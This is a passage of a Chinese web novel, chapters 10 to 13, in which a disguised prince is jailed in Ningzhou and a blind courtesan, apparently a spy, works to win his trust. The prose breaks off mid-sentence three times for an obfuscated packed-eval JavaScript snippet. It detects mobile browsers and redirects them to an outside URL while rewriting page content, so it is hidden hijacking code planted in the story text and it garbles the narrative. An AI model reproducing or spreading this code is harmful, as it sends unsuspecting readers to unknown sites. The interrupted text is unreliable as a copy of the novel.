而蹲在中央的河工们有的满面愁容,有的暗自抹泪,绝望的情绪在人群中逐渐传染,年纪小的居然嚎啕大哭起来,口中呢喃着:“我不想死,我还没给爹娘尽孝呢。” 声音从小到大,此起彼伏,年轻男孩的声音本就喑哑难听,嚎啕起来更是刺耳。 监工头子听得心烦意乱,怕许师爷生气,下意识想挥鞭教训众人。 “别打,让孩子们尽情的哭。”许师爷依旧笑脸盈盈,用最平静的语气说出最残忍的话,“人之将死,痛快哭出来也好。免得因为怨气太大,死后到阴曹地府做怨鬼。” 听到这里,河工们哭得更加悲切,悲伤情绪疯狂蔓延,连那些正值壮年的汉子和头发花白的老者都红了眼眶。 可即便是惊慌忧惧,痛哭流涕,也没有一人供出王大勇。 燕绥之站在木棚里,静静观察着最新动态。 王大勇环顾四周,感念同伴们的信义,转头轻声跟身边的小五叮嘱:“日后,替我照顾好你嫂嫂。” 小五意识到大勇哥想要挺身而出,替众人抗下一切,他焦急的想要伸手按住王大勇,却始终慢了半步,眼睁睁看着他一脸悲壮的站起身,像个慷慨赴死的英雄。 “我是主谋!和其他人无关!” 王大勇在众人的注视下走到许仲宏面前,“是我受不了重役,也是我规划了路线,鼓动他们随我一起逃跑。他们都是无辜的,要杀要剐,都冲我来!” 监工头子见王大勇惹出天大的麻烦,居然还敢逞英雄,立刻抬腿将他踹翻在地,骂骂咧咧道:“你小子不安分,违反国法,在这里装什么英雄豪杰!” 河工们深受动容,前仆后继起身。 “我是主谋,不是他!” 有些老者推搡着身后的年轻人,主动上前,“他们都在说谎,我才是主谋!杀我吧!” “是我!”燕绥之中气十足的嗓音瞬间攫住众人的关注,无数道视线落在这个身姿挺拔的少年人身上,“是我鼓动他们逃跑。” 见鱼儿上钩,许仲宏笑意更深,终于肯从太师椅上起身,转头朝身旁的监工吩咐道:“将《夫役册》拿来。” 监工头子主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156589|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动上前,仔细打量起燕绥之和他身后的沈烁与楚执,却始终觉得他们几个面生,他的视线来回在燕绥之与王大勇身上逡巡,半晌后,他走到许仲宏身边低语。 “师爷,这小子长得白白净净,看上去机灵许多,比那个一脸憨直的王大勇更像主谋。我看咱们还是将他交上去吧,王大勇干活利索,留他继续服役更划算。” 燕绥之将这番低语听得一清二楚,不屑的发出一声嗤笑。 许仲宏与监工头子立刻看向他,监工头子听出他笑声中的轻蔑,愤怒地抽出佩刀,高举过头顶,口中怒骂:“笑什么?敢笑我,老子砍了你这个不知天高地厚的小兔崽子!” 沈烁和楚执立刻冲上前,将燕绥之牢牢护在身后。 面对攻击,燕绥之不躲不避,语气轻蔑:“草菅人命,目无王法,宁州官吏,以往都是这般肆意妄为的吗?” 监工头子望着燕绥之那双冷若冰霜的眼睛,忽然感觉双臂脱力,双股打颤,一股威压直逼头顶,佩刀“哐啷”一声落地,他竟然瘫坐在地,眼神涣散。 下属们一股脑拥上来,关切询问:“头儿,您怎么了?” 监工头子许久才缓过神,“你......到底是谁?” 许仲宏见这戏台已经搭好,铺垫也够足,假模假式地翻阅几页《夫役册》后,他对着燕绥之冷声说道:“你说得也有理,我们宁州官吏并非匹夫草莽,自是不会目无法纪,冤枉好人。既然你们二人都自称主谋,那就先将你们收押,来日等知府老爷定夺。” 守卫们上前羁押王大勇,将他五花大绑起来,赶往囚车。 而当他们举着绳子想要去绑燕绥之时,却被他周身的冷冽气场震慑,无一人敢上前捆他,只得求助一旁的上司。 监工头子也不知这少年为何年纪轻轻就能有如此骇人的眼神,摆摆手,无奈道:“行了,别捆了,直接押送到牢房,给我把人看牢了。” 两个守卫齐声应答:“是。” 沈烁将守卫想要将燕绥之赶进囚车,下意识上前回护,可燕绥之却抬手压下沈烁护在他身前的手臂,在他耳边嘱咐:“去请贺州请堂兄过来,再放走云潋。” 曾闻仕望着囚车内那张曾在宣政殿上遥遥窥见过一面的俊颜,心头一惊,立刻在寸纸上写下:御史乃二殿下假扮 他唤来身边心腹,“速去传信,要快!” 传信的心腹在夜色中纵马疾驰而去,小小寸纸在御史府中几番轮转。 云潋清早洗漱后,坐在妆奁台前对镜梳妆。 静梅打开首饰匣,金色珠钗下藏着一张不易被人察觉的寸纸,静梅不动声色的关闭首饰匣,左右巡视一番,见无人发觉她的举动,才安心下来。 “小姐想再休息会儿,你们先下去吧。” 一众婢女停下手中活计,恭敬行礼:“是。” 待婢女们鱼贯而出,静梅立刻关闭房门与窗户,将寸纸拿给云潋,“小姐。” 云潋打开寸纸,眉头紧锁,仔细回忆起之前主子着人送来岱国贵人们的画像,那时她便敏锐发觉裴舟望与燕绥之的画像有三四分相似。 不过当时她并未多想,毕竟大长公主乃燕绥之的姑祖母,燕绥之和裴舟望是血缘亲厚的堂兄弟,长相有几分相似也实属正常。 且画像乃是他们三年前参与祭典时围观百姓偷绘,只能说形似,却无神韵。三年时间,无论是身形还是外形都变化不小。 她初见燕绥之,自是没料到他居然会李代桃僵,假借裴舟望名讳招摇,并非是那个名满岱国的状元郎。 她被蒙在鼓里,使尽心机,原以为自己能有机会借裴舟望的权势从主子身边脱身,再借机跟在他身边筹划未来。 谁知这一切从一开始就是错的,错的离谱,也彻底打乱了她的所有计划。 温柔小意、美艳温顺也许能让盲妓云潋爬上裴家公子的床榻,寻得一个跟随他左右的机会。可却绝无可能让天皇贵胄的皇子对她敞开心扉,纵一个盲妓践踏天家威严。 不等云潋思忖出新计划,屋外便传来阵阵拍门声,楚执高声唤着:“云姑娘,大人着我给姑娘传话。” 11. 第 11 章 云潋将寸纸娴熟的揉成团,吞进口中,咽下肚,整理好衣衫,确认不会暴露分毫后,她才颔首示意静梅开门。 静梅开门后,侧身引着楚执进屋,“楚侍卫,请进。” 楚执并未贸然进屋,而是瞥了一眼屋内,确定云潋衣着得体,他先拱手道谢,随后才进屋落座。 “贸然进姑娘闺房,多有打扰,还望海涵。” 云潋笑脸相迎,轻轻摇头,“无妨,还得多谢楚侍卫带来大人的消息。妾这两日不见大人,时时挂怀,实在焦心。懒于梳妆,这副模样见客,实在有失体统,还望楚侍卫莫怪。” 楚执哪敢多言,只想尽快完成殿下嘱托,解决掉云潋主仆,“姑娘客气了。” 楚执风尘仆仆赶来,因为这两日扮作河工,现下侧脸上的青灰都未擦净,静梅看不下去,将袖中的帕子掏出,径直递给楚执,又指了指他的左脸。 楚执起初还有些茫然,不敢接静梅的帕子。 静梅性子飒爽,干脆伸手用帕子替他将脸上的青灰擦干净。 见楚执像躲避瘟疫般向后闪躲,她恼怒的将帕子上的青灰展示给他看,口中不饶人:“也不知楚侍卫这两日都钻去了哪里,这么大人了,怎么出门连脸都忘了洗净。” 楚执素来沉稳,又久居在宫规森严的深宫之中,何时曾见过这般泼辣且对人不留情面的女子。 见静梅冷脸,他立刻起身,拱手致歉:“是我误会姑娘,适才唐突,望姑娘宽恕我一回。” 静梅冷哼一声,不肯宽宥。 云潋听了半晌,呵斥道:“静梅,不得无礼。” “是,小姐。”静梅先是对着云潋行礼,随后对着依旧拱手致歉的楚执说道,“我原谅你了。” “多谢。” 插曲结束,云潋赶紧将话题带回正轨,扮作急切模样,“楚侍卫这般着急来见我,可是大人那边出了什么事?” “大人那边无碍。”楚执从怀中掏出一个信封,递给站在一旁的静梅,“我来是按照大人吩咐,将姑娘的身契物归原主。” “身契?”云潋惊呼,“它不是一直压在刘大人手中吗?” 见静梅盯着那张身契狂喜的模样,楚执轻声说:“大人不日就会离开宁州,临行前,特意叮嘱我从刘府取回云姑娘和静梅姑娘的身契。大人让我转告您,此一别,恐再难相见,愿姑娘一切顺遂,诸事皆安。” 静梅握着身契泪眼涟涟,将手中的身契与脱贱籍的批文读了一遍又一遍,最后哽咽着蹲下身,伏在云潋膝头,握住云潋的手,将身契放在她手中。 “小姐,是真的!咱们终于自由了!” 云潋怔愣许久,久到楚执不知该不该继续开口。 不多时,云潋眼泪夺眶而出,似嗔怪又似哀怨:“我的确无关紧要,身份卑微,可大人连见我最后一面都不肯吗?” 楚执将袖中早就准备好的一袋银子与地契田契放在桌上,轻声安抚:“云姑娘,大人命我置备下房子与田地,算作姑娘来日的依仗。劳静梅姑娘收拾下行李,我让人带你们去新家安置。” 云潋紧抿着唇,泪水不停往下淌,许久后才扶着桌子起身行礼。 “既然裴大人不愿再留云潋,云潋也不敢强人所难。我倒是有些体己钱,就不劳大人破费了。” 说罢,云潋伸手示意静梅搀扶她,静梅果断上前接住云潋的手臂,犹豫着喊了声“小姐”,静待云潋吩咐。 云潋声音含怒,冷声吩咐:“静梅,去收拾行李,咱们即刻就走。” 楚执扮作狱卒给燕绥之送饭时,将云潋主仆的行踪一一回禀。 当燕绥之听说云潋并未收下房产田地,不由得担心起来,在牢房内住了两日都面不改色的人,语气急切:“胡闹!她们主仆俩孤身在外,云潋又双眼有疾,怎可无钱财傍身!” 楚执无奈,“我说亲自送她们去新宅,云姑娘不愿;又再三劝她们收下钱银,可她依旧固执不肯收,最后干脆让静梅将我拒之门外。属下不曾和女子打过交道,云姑娘一直哭个不停,我实在无计可施。” 想到云潋那双一哭起来便通红的杏眼,燕绥之认命般闭上双眼,“客栈人来人往,她又长得惹眼,你派人跟着些吧。” 楚执见燕绥之似乎又要心软,赶紧劝慰:“咱们护得了她一时,又护不住她一世。人各有命,既是无缘,公子您何不早些放手?” 燕绥之狠不下心,干脆调转身躯,不再多言。 见劝不住殿下,又有狱卒前来巡视,楚执赶忙离开。 知道云潋对他有情,燕绥之心中挣扎万分,躺在稻草堆上,脑中也尽是那几日与云潋之间得种种往事,他也不知云潋究竟有何等魔力,竟让他魂牵梦萦,变得优柔寡断起来。 “公子!” 半梦半醒间,燕绥之隐约感觉云潋的声音近在咫尺,他狐疑地睁开眼睛,转头看见云潋正扒在牢栅边,低声唤他。 燕绥之立刻从稻草堆上起身,凑到云潋身边,仔细打量起云潋,见她孤身一人来此,劈头盖脸问道:“你来这里干什么?” 听燕绥之发火,云潋下意识瑟缩一下,随后才磕磕巴巴开口解释:“我离开御史府邸后,暂住在客栈。今早偶然听得有人议论,说城西的吴老爷前几日去贺州给裴老太爷贺寿,在席间见到了裴家大公子......” 燕绥之没有接话,云潋继续说道:“吴老爷回来后,将裴公子的行踪禀告给知府老爷,曾知府命人查封了御史府邸,还四处张贴告示,说您假冒巡察御史招摇撞骗,鼓动河工集体逃役,现下已经下狱待审。我不放心,想找楚执和沈烁打探您的消息,可却一直不见他们踪影。我怕他们亦被捕入狱,你独自一人在狱中孤立无援,便买通狱卒前来探望。” 燕绥之懒得理会外界的纷纷扰扰,只一心追问:“既然你已经知晓我身份作假,犯下重罪,又何苦来趟这浑水呢?” 云潋双眼通红,语气急切:“我不能丢下你一个人!虽然你我只相处短短几日,可是我知道,你是个良善之人。你本瞒得天衣无缝,可以顺水推舟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156590|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梳拢我,可是你没有趁人之危。不仅如此,你还从刘大人手中要回我和静梅的身契,让我们改入良籍,给我备下钱银田产当作后路。无论外人如何看你,你犯下何等重罪,可之于我,你是恩人,我绝不能弃你不顾!” 燕绥之满眼动容,见云潋满脸泪痕,情难自已的伸手为她擦去眼泪。 “你为何这么傻。我出了事,无人护你,万一刘大人反口不认你的入籍文书,你岂不又要遭难。” 云潋抓住燕绥之的手,将侧脸乖顺的伏在他的掌心,满口温情:“公子,我不怕。你放心,我有些体己钱,我会为你找最好的讼师帮你翻案。你莫要放弃,事情总会有转机的!” 天家富贵,威严不可冒犯。 身为皇子,一言一行,皆有规矩约束。 幼时他连面见母妃都要恪守礼制,即使身患重病,想要赖在母妃怀中寻个安慰,都要看父皇眼色行事。怕哭闹引得父皇不悦,怕落泪让父皇嫌弃他懦弱。 从未有人在他面前如此坦诚,她不问他出身,即使他身陷囹圄,亦肯舍命奉陪。 她的泪,她的担忧与鼓励,像是软化他骨头的巫药,让他几次欲言又止,想告诉她身份,甚至想要为她撑起一片天。 “好,我不放弃。” 狱卒平日净跟些穷凶极恶之徒打交道,倒是难得有痴男怨女,温柔深情的戏码解闷,可毕竟私放外人入牢狱是有违律法,被人发现他可是要担责的,见他们二人也聊的差不多了,便立刻开始轰人。 “时间差不多了,一会儿知府大人要过来巡视,你们快走吧!” 云潋依依不舍,抓着燕绥之的手不肯松开,身边的静梅赶紧劝慰:“小姐,若是被人发现,下次可就进不来了。咱们先回去吧,改日再来看公子。” 云潋这才呜咽着同意,将静梅递来的用油纸包着的点心偷偷塞给燕绥之,低声嘱托:“你要好好吃饭,好好睡觉,千万别胡思乱想,我明日再设法来看你。” 静梅拉着云潋离开了,狱卒看着消失在转角处的云潋不由得感叹:“你小子好福气,犯了杀头的罪,还有人死心塌地的跟着你。无名无份,却肯为你东奔西走,四处打点。你呀,比他幸运。” 被狱卒指到的王大勇在隔壁牢房里并不服气,扯了扯脚踝处的铁链,语气平静:“少攀扯我,我家娘子就算是知道我要死了,也不会像她这般哭哭啼啼。” 狱卒见王大勇回嘴,越发言语带刺:“她是不哭哭啼啼,你的画像贴的满城都是,她根本不来看你。” 被戳穿的王大勇满脸愤懑,很多话到了嘴边,却又硬生生咽了回去。 燕绥之并不理会和狱卒斗嘴的王大勇,坐回到稻草堆中,小心打开油纸,拿起一块绿豆糕,放进嘴里抿了一口,湿润甘甜的味道充斥口腔,他低垂着头笑了。 明明只是最普通的糕点,手艺不及宫中御厨万一,外观更是被压得变形,可燕绥之却总觉得这绿豆糕甜滋滋的,甜的他心口发涩。 半晌,他呢喃着,“傻瓜。” 12. 第 12 章 做戏做全套,静梅搀扶着手执盲杖的云潋离开,临近狱门口时,正好遇上前来巡查的曾闻仕,牢头谄媚的引着曾闻仕往里走,云潋恰好和他擦肩而过。 无人停下脚步,短暂的视线相接,一切皆在不言中。 刚吃完糕点,倚在墙边闭目养神的燕绥之就被狱卒带到刑房。 负责刑讯逼供的牢头将一众手段摆在他眼前,炭盆的黑炭亦是烧的通红,可被绑在架子上的燕绥之依旧不慌不忙,神情淡漠。 牢头看不惯他这般目中无人的模样,卷起袖子,冷声道:“说,你到底是何人?你手中的官凭又是何处偷来的?” 可燕绥之根本不肯吭声,牢头审过无数硬骨头,自然有的是手段,他一把抄起手边的铁刷子,威胁道:“你可听说过梳洗之刑?这铁刷子所到之处,皮肉绽开,鲜血淋漓。反复刷,反复加力,直到白骨乍现。那画面,那痛感,啧啧啧,根本没有人能熬过一轮。” 牢头仔细观察着燕绥之的每个反应,见他依旧不为所动,继续绘声绘色的描绘起来。 “若是你依旧嘴硬,便在伤口处加些盐水,保证让你痛到骨子里。不出两日,蚂蚁啃食,腐肉处蛆虫丛生。这般炎热的天气,牢里蛇虫鼠蚁横行,带着一身伤,你能挨过几日?” 燕绥之冷哼一声,“岱国律法第六十七条,未定罪前,私自动刑致犯人伤、残者,按照犯人受伤程度,杖二十至五十,罚银五两。若犯人未被宣判前受刑殒命,负责羁押的官员、狱卒等人,徒一年加杖五十。若情节严重,屡教不改,可判处流刑,最高流三千里加杖一百。” 牢头举着铁刷子,一时愣在原地。 眼前的男人被绑在刑房,却依旧侃侃而谈,对律法一清二楚,一看便知是博学之人。通身气派亦是不容忽视,这份自信和上位者的从容,倒叫他不敢轻举妄动。 牢头放下铁刷子,循循善诱:“你如此熟知律法,为何还要知法犯法呢?难道你不知伪造文书,冒名顶替官员在地方招摇撞骗,可是要被处以极刑的吗?你还如此年轻,何必自讨苦吃?” 燕绥之神情淡淡,语气轻蔑:“你还不配审我。官凭是真是假,你们心中一清二楚。我奉劝你们少动这些歪心思,让你们大人早日升堂审案,才是至关紧要之事。” 王大勇扒着牢栅不安的等待着,当看到燕绥之安然无恙的被送回隔壁牢房,他简直困惑万分。 待狱卒一走,王大勇立刻凑到墙边,敲了敲两个牢房间的墙壁,追问道:“他们打你了吗?” “没有。” “没打?”王大勇啧啧称奇,“你小子真是好运气。早几年我同乡的一位大哥被人诬告偷了米行的一袋米,后来家里卖房卖地,凑够钱赔给米行,又贿赂狱卒一大笔钱,才破财消灾。大哥放出来时浑身上下没有一块儿好肉,我们几个同乡赶着驴车给他拉回去的。” 燕绥之心口发堵,“后来呢?” 王大勇一阵唏嘘,“大伙儿给他凑钱请大夫,大夫说他内脏被打破了,即使用药吊着也活不长,果然没过几天就死了。死之前大哥边吐血边念叨着他没偷米,委屈的直掉眼泪。” 王大勇长叹一口气,想起大哥临死前的模样,红了眼眶。 “哎,谁都知道,他不过是得罪了米行的王掌柜,这才被诬告。可这个世道就是如此,无权无势,谁都能在你头上踩一脚。也就是这几年曾知府上任,宁州的环境才好一些。” 听到王大勇提及宁州知府,燕绥之瞬间敏锐起来,“这位曾知府,可是曾闻仕?” 王大勇兴奋的坐直身子,“你知道他?” “嗯,听说过。” 提起曾闻仕,王大勇是打心眼里感激,“曾知府倒是难得的好官,他来宁州以后,积极改善民生,赋税也减轻许多,也不许官吏欺压乡里,有他坐镇,我们才能勉强喘口气。” 燕绥之却不以为然,虽然自三年前曾闻仕升任宁州知府以来,宁州民生确有好转,可贪污之风依旧盛行,下属官员负责修建的溪河堤坝次次修次次塌,无数河工枉送性命。 无论他在百姓心中有何等威望,可宁州官商勾结、贪腐之事乃不争的事实,终究是要治他个监管不力、失职渎职之罪。 曾闻仕站在牢房拐角处,将王大勇与燕绥之的对话听得一清二楚,待两间牢房内再次归于平静,曾闻仕负手带着师爷许仲宏离开。 坐在馄饨摊前,望着熙熙攘攘的街市,曾闻仕轻声问:“裴舟望几时能到?” 许仲宏将筷子递给曾闻仕,“裴公子正日夜兼程往宁州城赶,约莫明日清晨就能到。” “好,那就后日一早升堂。”曾闻仕往嘴里塞进一颗鲜肉馄饨,发出由衷的感叹,“这样好的味道,日后只怕再也吃不到了。” 听到曾闻仕的话,馄饨摊主乐呵呵上前,“曾大人,您要是没时间来吃,我包好后送到您府上去也行啊!” 曾闻仕露出和蔼的笑容,也不解释,只一味道谢:“多谢,真是个不错的主意。” 摊主被曾知府认可,心花怒放,刚想送上两个鸡蛋,却被其他客人唤走了。 许仲宏心中不是滋味,握着勺子的手紧了几分,终究是鼓起勇气开口:“大人,您何苦呢?纵使以身入局,也不见得能换来任何改变。若终究是泥牛入海,落得满身骂名,实在不值。” 曾闻仕笑着摇头,眼神坚定,“若舍我一人,能换万人清名,不亏。” 沈烁与裴舟望这几日日夜兼程,终于赶在城门关闭前顺利进入宁州城。 “我去拴马。”沈烁接过裴舟望手中的缰绳,“大人,已经为您备下天字号房,您先进去歇歇吧。” 裴舟望身上的蓝色外袍沾染着些许泥水,分外狼狈,许久不曾风餐露宿的世家公子现下早已疲惫不堪,“也好。那明日一早我便随你去牢中探望绥之。” 嘈杂的客栈内人来人往,讼师的声音洪亮,格外难以忽视。 “云小姐,您给的钱多不假。可假冒朝廷命官、带领河工逃役,哪一件不是死罪。这钱我有命挣,也没命花呀。宋某无才,您还是另请高明吧!” 讼师将手中的银袋子往桌上重重一摔,起身拂袖离去。 云潋激动的站起身,满脸泪痕,急切哀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156591|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求:“求您再考虑一下吧!再多给我些时间,我肯定能筹更多钱。” 静梅赶紧搀扶住云潋,低声安慰:“小姐,这已经是第五个了。宁州城中的所有讼师咱们都求了个遍,实在是无力回天呀。要不,您还是放弃吧。” 云潋格外执拗,“不,他还那么年轻,我怎能眼睁睁看着他赴死。” 云潋那桌恰好处在大堂正中,而她的眼睛目不能视,自然格外引人注意。而她语气哀婉,神情凄惶,一看便是遇到难处。 爱美之心,人皆有之,酒楼里的客人们都怜悯地看着她,连从不多管闲事的裴舟望都忍不住向那个方向多看两眼。 只一眼,见惯美人的裴舟望就情难自已的被云潋那张美艳容颜吸引,无法轻易挪开视线。 而当听到讼师提及的那两个罪状时,敏锐的裴舟望立刻意识到这个女子正在为堂弟入狱的事情行走奔忙、寻求帮助,越发心生好奇,想知道女子与他那素来不近女色的堂弟是何关系。 “客官请随我来。” 小二引着频频回头张望的裴舟望走上二楼,二人正好遇到躲在拐角处监视云潋的楚执。 楚执一见到裴舟望,立刻拱手行礼,“见过公子。” 裴舟望芝兰玉树,此刻那张素来波澜不惊的脸上满是困惑。 他顺着楚执的视线望下去,发现楚执所站的位置,正好能隐蔽的监视楼下那对主仆。 “她和绥之是何关系?” 对于裴舟望的聪颖敏锐,楚执早有了解,自是不敢隐瞒,“她叫云潋,是宁州同知刘大人送给公子的盲妓。” 裴舟望早听闻宁州有豢养盲妓之风,倒是第一次亲眼所见,仔细打量起云潋,见她身姿窈窕、姿容出尘,果然符合名副其实。 “那绥之打算如何安置她,莫不是真打算将她带回京城?” 楚执无奈,轻轻摇头,“公子的心意,属下不敢随意揣度。只知公子对她倒是十分在意。现下看来,她也是个重情重义之人。上午在狱中见过公子后,就变卖了所有首饰,打算倾尽家财为公子请讼师辩护。” 裴舟望没有多言,回头深深望了云潋一眼,便径直回房休息去了。 云潋坐在木凳上,啜饮着淡茶,将楼上二人的对话一字不落的听在耳朵里。 原来,这位就是传闻中学识渊博的裴家公子,岱国第一位三元及第的状元郎。 今日遥遥一见,果然仪表堂堂、气度不凡。 只可惜他似乎并不想让她依附燕绥之,只怕会成为她前进路上的绊脚石。 她已经赌上一切,就绝不允许他成为那个变数。 路过裴舟望的房门口,云潋用不大不小的声音说道:“明日一早,咱们再去探望一下公子,给他送些吃食衣物,也好叫他在狱中过得舒坦些。” 静梅乖巧应声:“是,我稍后就去准备。” “切记,见到公子后不要多言,免得让他担心。” “是,奴婢明白。” 正在脱衣服的裴舟望手上的动作一顿,侧头看向房门口,总觉得一切都太过凑巧,让人心中隐隐不安。 13. 第 13 章 清晨,云潋携静梅出现在监牢门口时,就隐约听见一个洪亮的女声吵嚷:“我家那口子现在只是收押,又不是已经被判了死罪,你凭什么不让我见他!” 狱卒看着眼前这个胡搅蛮缠的村妇,见她的衣裙都已经浆洗的发白,一看便知榨不出多少油水,自然不愿再理会。 “你以为这大牢是你家菜地吗?说进就进,说闯就闯。赶紧滚,否则我一会儿把你也抓进去,到时候你可别哭着求我!” 刘芳不依不饶,跌坐在地上,死死拽着狱卒的衣衫下摆,嚎啕着:“那你把我抓进去吧,反正你们也没给我们留活路。你干脆把我们一家老小都杀了,都杀了算了!” 狱卒实在没见过这般在地上撒泼打滚的妇人,脸憋得通红,想抽出佩刀吓跑她,却看到许多百姓将他们二人团团围住,对他指指点点。 “都看什么看?还不快滚!”围观的百姓一哄而散,实在被闹得无计可施的狱卒只好妥协,“一炷香,进去后不许再这般喧闹。” 达成目的的刘芳立即起身,用手背擦干眼泪,从包袱里掏出两枚铜钱,塞进狱卒手中,谄媚道:“好嘞,谢谢老爷!我肯定不给您惹麻烦。” 狱卒见到站在一旁的云潋主仆,熟稔道:“云姑娘,你也一起进来吧。” “好。” 刘芳和云潋主仆并肩同行,她见云潋目不能视,私心觉得她这般情况还遇到个不靠谱的男人,被迫出入牢狱,较寻常人还可怜些。 “姑娘,你家男人出了啥事儿?” 云潋不愿多言,只轻轻回道:“我和他并未成亲。” “哦,这......这样啊。”刘芳意识到云潋和那个素未谋面的男子之间身份尴尬,赶忙转头和狱卒搭话,“官爷,我家男人在这里吃得好,睡得着吗?你说我明日能送点儿蔬果进来吗?” 狱卒不胜其扰,赶紧打开王大勇所在牢门的大门,一把将刘芳推了进去,锁门前喊了句:“只有一炷香的时间,有话快说!” 燕绥之拿着稻草杆在辟出来的一块干净地面上写写画画,核算早几日查检账目时发现的几处出入,正入神之际,听得隔壁传来一声清脆的巴掌声,那巴掌一听便知是用了全力,在寂静的监牢中格外突兀清晰。 紧接着一个粗犷女声带着几丝呜咽,倒蹦豆一般说个不停:“你个挨千刀的,死不死啊!逃役,你是不是活腻了!你在外面逞英雄,想过一家老小的死活吗?要是早知道你想死,我何必嫁给你。和离,马上和离!我一刻也不想跟你过了!” “娘子,是我错了。” 刘芳的声音越来越小,因为被王大勇抱进怀中安慰,哭声也有些发闷。 虽然隔壁吵吵闹闹,可燕绥之却听出了刘芳言语中对王大勇的关切。人在危难时刻,家人不离不弃,尚有人记挂惦念,又何尝不是一种幸福。 这种温情瞬间让燕绥之的脸上也不禁展露出几分笑意。 狱卒惦着手中颇具分量的银锭,在牢门口叮嘱道:“云姑娘,我会先将对面牢房的犯人清走,至多半个时辰,你可一定要出来呀。” 云潋柔声回道:“好,有劳了。” 狱卒用钥匙打开牢门,燕绥之见静梅搀扶着云潋进入牢房,颇为讶异,待他看清云潋今日的装扮,立刻皱眉,“你的珠钗和首饰呢?” 云潋今日身着素色衣衫,头上的金钗与步摇变成一支工艺粗陋的银簪,昨日还在耳边摇曳的红宝石耳饰亦是不翼而飞。 燕绥之抓起云潋的手臂,见她腕间的一双翡翠玉镯与那支她从不离手的吉祥纹金镯亦不见踪迹,冷声追问:“你变卖了首饰?” 云潋没有急着回话,反倒支走静梅,“静梅,你先出去。” “是,小姐。” 静梅将手中的包袱放在一旁,便轻手轻脚的退了出去,临走前还不忘帮云潋与燕绥之关上牢门。 待听到关门声后,云潋轻声开口:“身外之物而已,我装扮如何,自己又看不见,留它们在身边也是无用。不如先典当了,换些钱银,为你寻个好些的讼师,救你出去,这才是现下最要紧的事。” 燕绥之简直不敢相信云潋会为他做到如此地步,他喉咙发紧,半晌也说不出话。 云潋垂着头,贝齿紧咬下唇,似是许久才鼓足勇气询问:“公子,我不问你出身,也不问你来历。只想问上一句,你可曾婚配,可有婚约在身?” 燕绥之据实相告:“我尚未婚配,亦不曾有婚约。” 云潋听了这话,顿时面露喜色,随后意识到自己的情绪太过外露,立刻收敛笑容,小心翼翼追问:“那......您讨厌我吗?我可曾让您感到厌烦?” 燕绥之心脏砰砰作响,望着云潋紧张的神情,第一次向她袒露心迹:“你很好,善良温柔,重情重义,怜悯苍生,是我此生见过的,最好的女子。我怎会讨厌你呢?” “那就好。” 云潋长舒一口气,反手抓起燕绥之抓在她手腕上的那只骨节分明的手,缓缓放在她心口处。 燕绥之并不知云潋的心思,所以当手掌落在那温热浑圆处,素来遒劲有力,手握重弓都不会抖一下的手,第一次僵硬脱力,不敢动作。 虽然隔着衣衫,可燕绥之还是感受到云潋奋力震动的心跳。 他呼吸凝滞,下意识想要抽回手,可下一瞬,云潋的泪水便滴落在燕绥之的手腕上。 虽然云潋此刻脆弱不已,可按着燕绥之的手却暗自用力,不肯让他抽回去。 燕绥之越发慌乱,许久才找回语调,嗫嚅着:“你......这是何意?” 云潋声若蚊蚋,却字字清晰:“公子可曾听说过听妻入狱?” 燕绥之听到这句话,脑子里紧绷的弦瞬间断掉,踉跄着后退半步。 “你......”燕绥之在外素来寡言少语,喜怒不形于色,从未如此频繁的被人挑动情绪,甚至半晌都不知该作何反应,意识到云潋想为他孕育子嗣,他怒火攻心,“胡闹!” 燕绥之熟知刑法,的确听说过听妻入狱——寻常死囚若无后嗣,府衙可酌情准许其妻入狱同宿,绵延香火。 燕绥之的拒绝自然在云潋的预料之内,她也并非真心要与他共赴巫山云雨。 “公子气度不凡,学识渊博,胆识过人,想必家中也是书香门第。我知道,我出身低微,自是不配为您孕育子嗣。可现下情况危急,您尚未成婚,又无子嗣,担此罪责,我实在害怕......怕您......” 云潋哭得愈发伤心,伸手要解衣带,吓得燕绥之赶紧按住她的手。 “我的事情尚有转机,你莫要悲观。”燕绥之见云潋满脸绝望,心疼不已,“你孤身一人,尚未婚配,却未婚先孕,岂不要遭人耻笑?后半生该如何是好?你难道就不为自己想想吗?” 云潋似是烧昏头一般,“我识文断字,精通音律,擅珠算。我有信心,我能将孩子教好。我会终生不嫁,为你守节,抚育孩子长大成人,成婚生子,看他们儿孙绕膝。” 燕绥之赶忙解释:“我不是不信你。” 云潋立刻诘问:“那你是嫌弃我?” 云潋推开燕绥之按着她解衣带的那只手,失落转身,心灰意冷。 “我知道了。日后,我不会再来烦你。” 燕绥之哪知道情况为何会这般急转直下,可那一瞬,他的理智也断了弦,他上前一步,从背后揽住云潋,双手搭在她小腹上,将她死死禁锢在他宽阔的怀中。 